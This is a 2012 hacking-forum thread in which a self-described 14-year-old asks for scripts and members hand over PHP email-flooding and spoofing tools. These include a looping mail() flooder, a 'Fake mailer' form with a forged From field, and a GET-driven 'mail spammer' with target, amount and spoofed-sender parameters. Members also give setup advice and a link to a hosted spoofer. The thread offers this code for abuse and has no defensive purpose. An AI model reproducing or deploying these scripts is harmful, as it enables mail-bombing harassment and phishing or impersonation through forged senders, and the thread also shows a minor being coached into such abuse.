Hello! I am in desperate need of these 3 scripts. If you have any 1 of these 3 scripts, can I please get them? Thanks in advance. :)
I have an e-mail spoof/flood source, how do you want it? Standard PHP UI or API?
Dec 4, 2012 02:57 AM
(This post was last modified: Dec 4, 2012 02:57 AM by SIM-1419016.)
PHP Code
<?php $email = "EMAIL HERE"; $amount = "AMOUNT TO SEND HERE"; $subject = "SUBJECT HERE"; $body = "BODY HERE";
for ($k;$amount > $k; $k++) { mail($email, $subject, $body, $headers); }
?>
A small little script I just made.
I am a major noob at PHP, so can you tell me how it works please? Like, how could I implement it into a site for people to use, like emkei.cz (or whatever the site is). Also, what is an API (a simple term for dummies). I hope you guys don't mind helping me out. I am also looking into doing a PHP course at Tafe. Should I?
Sorry for sounding like a complete idiot, I just want to start coding. Please note that I am only 14. :P
(Dec 4, 2012 03:53 AM)Text Wrote: I am a major noob at PHP, so can you tell me how it works please? Like, how could I implement it into a site for people to use, like emkei.cz (or whatever the site is). Also, what is an API (a simple term for dummies). I hope you guys don't mind helping me out. I am also looking into doing a PHP course at Tafe. Should I?
Sorry for sounding like a complete idiot, I just want to start coding. Please note that I am only 14. :P
Make a form. Add message, email, amount, and subject textboxes. Add a submit button. When the submit button is pressed, make the vars save to the inputted data. So instead of "EMAIL HERE" you would do "$email = $_POST['email'];" and so on.
Dec 4, 2012 04:38 AM
(This post was last modified: Dec 4, 2012 04:38 AM by twitter4u.)
Code <?php
$to = $_POST['to'];
$from = $_POST['ot'];
$subject = $_POST['tema'];
$message = $_POST['message'];
$headers .= "From: ".$from;
$headers = "Content-type: text/plain; charset=windows-1251 \r\n";
$headers .= "From: ".$from;
mail($to, $subject, $message, $headers);
?>
<script> // some js for correction check
function check(obj){
var return_value = true;
var emailot = obj.ot.value; // from who
var emailto = obj.to.value; // to ?
var tema = obj.tema.value; // subj
var msg = obj.message.value; // message textarea
var err = "Input data is not correct, check it ";
if(emailot == ""){
err += " Email from ";
return_value = false;
}
if(emailto == ""){
err += "Email to ";
return_value = false;
}
if(tema == ""){
err += " Subject ";
return_value = false;
}
if(msg == ""){
err += "Text Data";
return_value = false;
}
//check all , if find some err, alert
if(!return_value)
alert(err);
return return_value;
}
</script>
<html>
<head><title>Fake mailer</title>
</head>
<body>
<form action="" method="post" onsubmit="return check(this);">
<table cellpadding="3" cellspacing="3" border="0" align="center">
<tr align="left">
<td>Email from:</td><td><input name="ot"></td><tr>
<tr align="left"><td>Email to:</td><td><input name="to"></td></tr>
<tr align="left"><td>Subj:</td><td><input name="tema"></td></tr>
<tr align="left"><td colspan="2"><textarea rows="15" cols="32" name="message">your message here</textarea></td></tr>
<th align="center"><button>Send</button></th>
</table>
</form>
</body>
<style type="text/css">
body{
background-color:#22;
color:#C1C1C1;
font-family:Verdana;
}
a{
color:#B9B9BD;
text-decoration:none;
font-size:12px;
}
#kap{
font-size:30px;
}
b{
font-color:#D1EEEE;
}
button{
border:1px solid #22;
background-color:#363636;
font-size:19px;
}
button:hover{
border:1px solid #BCD2EE;
}
h1{
text-align:center;
}
input,textarea{
border:1px solid #22;
background-color:#363636;
font-size:15px;
}
input:hover{
border:1px solid #BCD2EE;
}
textarea:hove
{
border:1px solid #BCD2EE;
}
table{
border-color:#E6E6FA;
}
</style>
hope this help 🤝
I am still looking for these. Does anyone else have? Thanks.
Here's a simple API mail spammer I built. Uses the default PHP mail library, so you should hit around 80 e-mails per second, all dependent on your web servers CPU.
Example Usage: file.php?&target=EMAIL& [email protected]&subject=SUBJECT&message=MESSAGE&amount=1
Code <?php
if(isset($_GET['target'])){
$to = $_GET['target'];
}
if(isset($_GET['subject'])){
$subject = $_GET['subject'];
}
if(isset($_GET['message'])){
$message = $_GET['message'];
}
if(isset($_GET['amount'])){
$amount = (int) $_GET['amount'];
}
if(isset($_GET['from'])){
$from = $_GET['from'];
}
$from = "From: " . $from . "\r\n";
if ((int)$amount) {
for($i=1;$i<=$amount;$i++)
{
$temps_debut = microtime(true);
mail($to, $subject, $message, $from);
$temps_fin = microtime(true);
echo '<font color=\"white\">Sent '.$i.' messages: '.round($temps_fin - $temps_debut, 4).' seconds.<br>';
}
} else {
}
?>
I will add spoofing if requested.
EDIT: Added spoofing, attatch the &from= variable to the URL.
I recommend using the PHPMailer class > the default mail library, as it gives you much more control over what you're doing 🙂
(Dec 5, 2012 04:34 AM)PeopleUnderTheStairs Wrote: I recommend using the PHPMailer class > the default mail library, as it gives you much more control over what you're doing 🙂 mm, but this does the job. I only use the PHPMailer class when i'm using more complex systems.
Dec 9, 2012 02:14 PM
(This post was last modified: Dec 9, 2012 02:25 PM by al5ina5.)
I've made an email spoofer if you need it.
Link: http://al5ina5.com/tools/spoof/spoofer.php
I have made a email spoofer if you need it.
Link: http://al5ina5.com/tools/spoof/spoofer.php
|